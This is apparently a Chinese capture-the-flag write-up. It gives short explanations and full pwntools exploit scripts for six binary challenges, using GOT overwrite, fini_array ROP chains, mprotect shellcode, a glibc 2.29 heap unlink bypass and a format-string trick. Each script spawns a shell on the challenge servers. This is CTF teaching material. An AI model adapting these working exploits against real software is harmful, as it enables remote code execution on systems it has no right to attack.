TTTTTTTTCL,抱歉,告辞,打不动,再见,除了两个OJ盲打外的PWN题附件
Memory Monster I
任意写改got表,栈溢出检测报错时,会调用__stack_chk_fail函数,因为肯定是第一次调用,没有解析符号,所以改成backdoor就行
| 1 | from pwn import* | 
| 2 | p = process('./main') | 
| 3 | p = remote('183.129.189.60',10083) | 
| 4 | def m(address,content): | 
| 5 | 	p.sendafter('addr',address) | 
| 6 | 	p.sendafter('data:',content) | 
| 7 | m(p64(0x404028) + '\x00'*0xC0,'\x4A\x12') | 
| 8 | p.interactive() | 
下载
Memory Monster II
静态编译了,fini_array劫持
fini_array[0]:__libc_csu_fini
fini_array[1]:main函数地址之后则可以形成一个循环链,然后任意地址写,可以在fini_array[2]之后构建ROP链,最后再将fini_array[0]改成leave_ret,fini_array[1]改成ret执行后续ROP链
| 1 | from pwn import* | 
| 2 | p = process('./main') | 
| 3 | p = remote('183.129.189.60',10100) | 
| 4 | def m(address,content): | 
| 5 | 	p.sendlineafter('addr:',p64(address)) | 
| 6 | 	p.sendafter('data:',content) | 
| 7 | |
| 8 | m(0x4B80B0,p64(0x402CB0) + p64(0x401C1D)) | 
| 9 | pop_rdx_rsi = 0x44BAF9 | 
| 10 | mov_rax_rdx = 0x41B380 | 
| 11 | pop_rdi_ret = 0x401746 | 
| 12 | pop_rdx_ret = 0x448415 | 
| 13 | syscall = 0x46F745 | 
| 14 | binsh = 0x492895 | 
| 15 | leave_ret = 0x401CF3 | 
| 16 | ret = 0x401016 | 
| 17 | m(0x4B80B0 + 0x10,p64(pop_rdx_rsi) + p64(59) + p64(0)) | 
| 18 | m(0x4B80B0 + 0x10 + 0x18,p64(mov_rax_rdx) + p64(pop_rdi_ret) + p64(binsh)) | 
| 19 | m(0x4B80B0 + 0x10 + 0x18 + 0x18,p64(pop_rdx_ret) + p64(0) + p64(syscall)) | 
| 20 | m(0x4B80B0,p64(leave_ret) + p64(ret)) | 
| 21 | p.interactive() | 
下载
Memory Monster III
和第二个差不多,只是需要利用mprotect修改内存段的权限,最后写上shellcode并执行
| 1 | from pwn import* | 
| 2 | p = process('./main') | 
| 3 | elf =ELF('./main') | 
| 4 | context(arch='amd64',os='linux',log_level ='DEBUG') | 
| 5 | #p = remote('183.129.189.60',10008) | 
| 6 | def m(address,content): | 
| 7 | 	p.sendlineafter('addr:',p64(address)) | 
| 8 | 	p.sendafter('data:',content) | 
| 9 | |
| 10 | m(0x4B50B0,p64(0x402CA0) + p64(0x401C1D)) | 
| 11 | |
| 12 | pop_rdx_rsi = 0x44AB09 | 
| 13 | mov_rax_rdx = 0x41AE80 | 
| 14 | pop_rdi_ret = 0x401746 | 
| 15 | pop_rdx_ret = 0x447635 | 
| 16 | leave_ret = 0x401CF3 | 
| 17 | ret = 0x401016 | 
| 18 | mprotect = 0x448420 | 
| 19 | read = 0x447620 | 
| 20 | |
| 21 | shell_a = 0x4BC100 | 
| 22 | shell = asm(shellcraft.sh()) | 
| 23 | m(0x4B50B0 + 0x10,p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi)) | 
| 24 | m(0x4B50B0 + 0x10 + 0x18,p64(0x200) + p64(shell_a) + p64(read)) | 
| 25 | m(0x4B50B0 + 0x10 + 0x18 + 0x18,p64(pop_rdi_ret) + p64(shell_a -0x100) + p64(pop_rdx_rsi)) | 
| 26 | m(0x4B50B0 + 0x10 + 0x18 + 0x18 + 0x18,p64(7) + p64(0x1000) + p64(mprotect)) | 
| 27 | m(0x4B50B0 + 0x10 + 0x18 + 0x18 + 0x18 + 0x18,p64(shell_a)) | 
| 28 | m(0x4B50B0,p64(leave_ret) + p64(ret) + p64(pop_rdi_ret)) | 
| 29 | |
| 30 | p.sendline(shell) | 
| 31 | p.interactive() | 
下载
secret2
最多打开文件1000多次,就不能继续打开了,则随机值之后全是0,因此输入8个0字节就行通过memcmp检测
| 1 | from pwn import* | 
| 2 | p = process('./main') | 
| 3 | #context.log_level ='DEBUG' | 
| 4 | p = remote('183.129.189.60',10051) | 
| 5 | elf =ELF('./main') | 
| 6 | pop_rdi_ret = 0x40161B | 
| 7 | pop_rsi_r15 = 0x0401619 | 
| 8 | flag_address = 0x4021DF | 
| 9 | gadget_I = 0x401612 | 
| 10 | gadget_Ii = 0x4015F8 | 
| 11 | payload  = '\x00'*(1+8) + p64(pop_rdi_ret) + p64(flag_address) + p64(pop_rsi_r15) + p64(0)*2 + p64(elf.plt['open']) | 
| 12 | payload += p64(gadget_I) + p64(0) + p64(1) | 
| 13 | payload += p64(elf.got['read']) | 
| 14 | payload += p64(0) | 
| 15 | payload += p64(elf.bss() + 0x50) | 
| 16 | payload += p64(0x30) | 
| 17 | payload += p64(gadget_Ii) | 
| 18 | payload += p64(0)*7 | 
| 19 | payload += p64(pop_rdi_ret) + p64(elf.bss() + 0x50) + p64(elf.plt['puts']) | 
| 20 | p.sendlineafter("What's your name? ",payload) | 
| 21 | |
| 22 | for i in range(1100): | 
| 23 | 	p.sendlineafter('Secret:','FMYY') | 
| 24 | for i in range(234): | 
| 25 | 	p.sendafter('Secret:',p64(0)) | 
| 26 | p.interactive() | 
下载
happyending
点击此链接,几乎是一个模板,套用改改就行
2.29对后向合并添加了一个检测
| 1 | /* consolidate backward */ | 
| 2 | if (!prev_inuse(p)) { | 
| 3 |   prevsize = prev_size (p); | 
| 4 |   size += prevsize; | 
| 5 |   p = chunk_at_offset(p, -((long) prevsize)); | 
| 6 |   if (__glibc_unlikely (chunksize(p) != prevsize)) | 
| 7 |     malloc_printerr ("corrupted size vs. prev_size while consolidating"); | 
| 8 |   unlink_chunk (av, p); | 
会对欲合并的块的size与欲prevsize进行一个判断,这种方法直接导致以前的后向合并不能用了
然后有师傅利用large bin、small bin、fastbin中chunk残留信息,并爆破倒数第二个字节的半个字节从而伪造一个可以chunk  
1.large bin chunk放入large bin,如果只有一个,那么其nextsize指针都指向自己,如果爆破半个字节,将fd_next_size指向到一个可控制bk的块上
2.small bin申请,其bk会残留指针,如果修改次块的bk中最后一个字节,令其指向伪造的chunk
  且之前fd_next_size修改一个字节指向此small bin chunk,则构建了FD->bk == victim;
3.将保存伪造的chunk头的块释放到fastbin,如果当前fastbin中已经有一个块,则会在fd写上堆地址,同样部分修改,令BK->fd == victim绕过| 1 | from pwn import* | 
| 2 | context.log_level ='DEBUG' | 
| 3 | def new(size,content): | 
| 4 | 	p.sendlineafter('>','1') | 
| 5 | 	p.sendlineafter('length :',str(size)) | 
| 6 | 	p.sendafter('them!',content) | 
| 7 | def free(index): | 
| 8 | 	p.sendlineafter('>','2') | 
| 9 | 	p.sendlineafter('debuff :',str(index)) | 
| 10 | def show(index): | 
| 11 | 	p.sendlineafter('>','3') | 
| 12 | 	p.sendlineafter('blessing :',str(index)) | 
| 13 | p = process('./main') | 
| 14 | #p = remote('183.129.189.60',10106) | 
| 15 | libc =ELF('./libc-2.29.so') | 
| 16 | for i in range(4): | 
| 17 | 	new(0x1000,'FMYY') | 
| 18 | new(0x1000-0x3E0,'FMYY') | 
| 19 | #--large bin | 
| 20 | for i in range(7): | 
| 21 | 	new(0x28,'FMYY') | 
| 22 | |
| 23 | new(0xB20,'FAKE') | 
| 24 | new(0x10,'FMYY') | 
| 25 | free(12) | 
| 26 | |
| 27 | new(0x1000,'FMYY') | 
| 28 | |
| 29 | new(0x28,p64(0) + p64(0x521) + '\x40') | 
| 30 | #-- | 
| 31 | |
| 32 | #-- small bin  | 
| 33 | new(0x28,'F') #15 | 
| 34 | new(0x28,'M') #16 | 
| 35 | new(0x28,'Y') #17 | 
| 36 | new(0x28,'Y') #18 | 
| 37 | |
| 38 | for i in range(7): #5 - 11 | 
| 39 | 	free(5+i) | 
| 40 | |
| 41 | free(17) | 
| 42 | free(15) | 
| 43 | |
| 44 | for i in range(7): | 
| 45 | 	new(0x28,'FMYY') | 
| 46 | |
| 47 | new(0x400,'FMYY') | 
| 48 | |
| 49 | new(0x28,p64(0) + '\x20') | 
| 50 | |
| 51 | new(0x28,'clear') # clear the small bin | 
| 52 | #-- | 
| 53 | |
| 54 | #--fast bin | 
| 55 | for i in range(7): | 
| 56 | 	free(5 + i) | 
| 57 | free(16) | 
| 58 | free(14) | 
| 59 | |
| 60 | for i in range(7): | 
| 61 | 	new(0x28,'FMYY') | 
| 62 | |
| 63 | new(0x28,'\x20') | 
| 64 | new(0x28,'clear') | 
| 65 | #-- | 
| 66 | new(0x28,'Target') #20 | 
| 67 | new(0x5F8,'Last') | 
| 68 | #new(0x100,'FMYY') | 
| 69 | free(20) | 
| 70 | new(0x28,'\x00'*0x20 + p64(0x520)) | 
| 71 | free(21) | 
| 72 | |
| 73 | new(0x40,'FMYY') | 
| 74 | show(16) | 
| 75 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x60 -0x10 - libc.sym['__malloc_hook'] | 
| 76 | log.info('LIBC:\t' + hex(libc_base)) | 
| 77 | |
| 78 | free_hook = libc_base + libc.sym['__free_hook'] | 
| 79 | rce = libc_base + 0x106EF8 | 
| 80 | system = libc_base + libc.sym['system'] | 
| 81 | free(21) | 
| 82 | free(14) | 
| 83 | |
| 84 | new(0x28,'\x00'*0x10 + p64(free_hook)) | 
| 85 | |
| 86 | new(0x40,'/bin/sh\x00') | 
| 87 | new(0x40,p64(system)) | 
| 88 | |
| 89 | free(21) | 
| 90 | p.interactive() | 
下载
easybabystack [AFTER]
C语言白学了,第一次见到这种用法 格式化字符串中 *$连用表示取对应偏移位置的值
| 1 | from pwn import* | 
| 2 | context.log_level ='DEBUG' | 
| 3 | p= process('./main') | 
| 4 | p = remote('183.129.189.60',10001) | 
| 5 | p.sendlineafter('username:','%*18$d%5$n') | 
| 6 | #gdb.attach(p,"b *0x401512") | 
| 7 | p.sendline('1') | 
| 8 | pop_rdi_ret = 0x401733 | 
| 9 | pop_rsi_r15 = 0x401731 | 
| 10 | binsh  =0x404090 | 
| 11 | system = 0x401110 | 
| 12 | read_got = 0x404038 | 
| 13 | gadget_I = 0x40172A | 
| 14 | gadget_Ii = 0x401710 | 
| 15 | payload  = 'U'*0x118 | 
| 16 | payload += p64(gadget_I) | 
| 17 | payload += p64(0) | 
| 18 | payload += p64(1) | 
| 19 | payload += p64(0) | 
| 20 | payload += p64(binsh) | 
| 21 | payload += p64(8) | 
| 22 | payload += p64(read_got) | 
| 23 | payload += p64(gadget_Ii) | 
| 24 | payload += p64(0)*7 | 
| 25 | payload += p64(pop_rdi_ret) + p64(binsh) + p64(system) | 
| 26 | p.recvuntil('message') | 
| 27 | p.sendline(payload) | 
| 28 | p.send('/bin/sh\x00') | 
| 29 | p.interactive() | 
